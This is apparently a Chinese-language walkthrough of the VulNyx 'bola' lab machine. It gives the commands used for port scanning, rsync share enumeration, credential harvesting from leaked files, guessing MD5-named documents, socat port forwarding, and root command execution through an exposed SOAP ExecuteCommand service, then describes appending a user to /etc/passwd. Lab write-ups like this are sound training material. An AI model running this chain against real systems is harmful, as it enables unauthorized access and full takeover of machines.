信息收集#
首先使用 Nmap 进行端口扫描,目标 IP 为 192.168.56.51
,扫描结果如下:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# cat nmapscan/detail
# Nmap 7.95 scan initiated Fri Feb 7 15:47:02 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80,873 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.51
Nmap scan report for 192.168.56.51
Host is up (0.00094s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://bola.nyx
|_http-server-header: Apache/2.4.62 (Debian)
873/tcp open rsync (protocol version 32)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可以看到:
-
端口
80
运行着Apache 2.4.62
,访问后发现会自动跳转至http://bola.nyx/
,因此需要在/etc/hosts
添加解析:192.168.56.51 bola.nyx
-
端口
873
运行rsync
,可能存在未授权访问或敏感文件泄露。
Web 端初步探测#
使用 curl
直接请求 80
端口,确认跳转逻辑:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# curl -v 192.168.56.51
返回 302
跳转至 http://bola.nyx/
,打开页面后是一个登录界面,尝试注册发现无效,只能暂时放弃 web 了。
Rsync 服务利用#
由于 rsync
可能会暴露敏感文件,编写简单脚本进行共享目录枚举:
for i in $(cat /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt); do
echo $i
rsync -av --list-only rsync://192.168.56.51/$i 2>&1 | grep -Pv 'Unknown|error'
done
(眼神好一点) 最终在 extensions
目录下发现文件,直接同步到本地:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# rsync -av rsync://192.168.56.51/extensions ./rsync
在下载的 rsync
目录中 grep
关键字 password
,成功发现硬编码的凭据:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# grep -nir password ./rsync
./rsync/background.js:4: { site: "bola.nyx", username: "[email protected]", password: "sbIJ0x9g{C3`" }
Web 后台访问#
拿到凭据 [email protected] / sbIJ0x9g{C3
后,尝试登录 http://bola.nyx/admin/admin.php
,发现后台就给了一个 PDF 文件下载连接,其他啥也没有。简单浏览下 PDF ,发现是介绍 WSDL Server
的,猜测后续突破口可能与 WSDL 接口渗透有关。
WSDL(Web Services Description Language) 是一种基于 XML 的 Web 服务描述语言,通常用于 SOAP 通信。
此外,PDF 文件的下载地址为:
http://bola.nyx/download.php?file_name=115a2cf084dd7e70a91187f799a7d5a8.pdf
尝试文件包含,Fuzz 下路径和扩展名,注意带上刚才登录的 cookie:
wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-extensions.txt -u http://bola.nyx/download.php?file_name=FUZZ.FUZ2Z -H "Cookie: PHPSESSID=9j7shv4e58ahnemep2p5vld4ed" --hw 5
无果。
然后 dirsearch 扫了一遍,发现有新东西:
http://bola.nyx/.well-known/openid-configuration
openid-configuration 是 OAuth 2.0 - OpenID Connect 的配置文件。
给了很多信息,一时不知道怎么利用,思路断了。
后来才知道 PDF 文件名是 md5 加密的字符串,可以解出来,但我尝试了好几个 md5 解密网站都失败了,cmd5 又需要付费,这里直接贴出结果:jackie0x17
验证一下:
┌──(root㉿kali)-[~/vulnyx/bola]
└─# echo -n jackie0x17 |md5sum
115a2cf084dd7e70a91187f799a7d5a8 -
由此推测,可能还有其他用户名对应的 PDF
,尝试计算:
echo -n "d4t4s3c" | md5sum
97035ded598faa2ce8ff63f7f9dd3b70 -
echo -n "ct0l4" | md5sum
4a8f81d01d65d3468955191045816c85 -
用上面第一个成功下载新的 PDF——《WSDL Server VulNyx - How to Connect》,并找到以下代码:
"""
Example with Python and Spyne
An example of how to implement a WSDL server in Python using Spyne
"""
from spyne import Application, rpc, ServiceBase, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication
class LoginService(ServiceBase):
@rpc(String, String, _returns=String)
def login(ctx, username, password):
if username == "admin" and password ==
"VulNyxtestinglogin123":
return "Login successful"
return "Invalid credentials"
app = Application([LoginService], 'http://bola.nyx:9000/wsdl',
in_protocol=Soap11(validator='lxml'),
out_protocol=Soap11())
server = WsgiApplication(app)
from wsgiref.simple_server import make_server
if __name__ == '__main__':
server = make_server('localhost', 9000, server)
print("WSDL Server running at http://localhost:9000")
server.serve_forever()
其中 admin
账户的密码为:VulNyxtestinglogin123
。经验证得到一组 ssh 凭据:d4t4s3c:VulNyxtestinglogin123
d4t4s3c@bola:~$ id
uid=1000(d4t4s3c) gid=1000(pijusmagnifikus) groups=1000(pijusmagnifikus),1003(d4t4s3c)
d4t4s3c@bola:~$ ls
user.txt
至此就拿到了 User Flag。
提权#
确认目标端口信息#
使用 ss -plntu
命令查看当前监听的端口:
d4t4s3c@bola:~$ ss -plntu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:9000 0.0.0.0:*
tcp LISTEN 0 5 0.0.0.0:873 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 5 [::]:873 [::]:*
发现 9000 端口 运行的是 WSDL 服务,但仅在本地监听。
端口转发#
由于 9000
端口未对外暴露,使用 socat
进行端口转发,使其外部可访问:
socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:9000 &
现在可以通过 http://192.168.56.51:8000/wsdl
访问 WSDL 服务。
WSDL 服务分析#
访问 WSDL,发现其接口定义:
<definitions name="VulNyxSOAP"
targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl"
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
xmlns:tns="http://localhost/wsdl/VulNyxSOAP.wsdl"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<message name="LoginRequest">
<part name="username" element="username"/>
<part name="password" element="password"/>
</message>
<message name="ExecuteCommandRequest">
<part name="cmd" element="cmd"/>
</message>
<portType name="VulNyxSOAPPortType">
<operation name="ExecuteCommand">
<input message="tns:ExecuteCommandRequest"/>
<output message="tns:ExecuteCommandResponse"/>
</operation>
</portType>
<binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand"/>
<input><soap:body use="literal"/></input>
<output><soap:body use="literal"/></output>
</operation>
</binding>
<service name="VulNyxSOAP">
<port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
<soap:address location="http://localhost:9000/wsdl/" />
</port>
</service>
</definitions>
具体定义可以 curl http://192.168.56.51:8000/wsdl/VulNyxSOAP.wsdl
并发现 ExecuteCommandRequest
可执行命令,疑似 RCE 漏洞。
我这里使用 ReadyAPI 自动构造 SOAP 请求,下面图示为具体操作步骤:
就添加好了。
选择 ExecuteCommand
,在 cmd
参数中输入命令,发现成功执行命令:
可以看到 id 已经是 root 的了。
接下来反弹 shell 或者直接读 flag 就行了。
我的方案是向 /etc/passwd 追加一个用户,然后直接切换即可:
此外,我还尝试使用国产 API 测试软件 Apifox,但由于其对 WSDL 的支持较为有限,无法自动构造 SOAP 请求,因此未能成功进行接口测试。不过,仍然希望国产软件能够不断进步,未来在更多安全测试场景中发挥作用!
还是补一下使用方法:
首先 CTRL+O 导入数据:
目前 Apifox 并不直接支持通过 URL 导入 WSDL 文件,仅支持上传本地的 WSDL 文件。
wget http://IP
:8000?wsdl -O service.wsdl
然后拖过去即可。
成功导入的效果: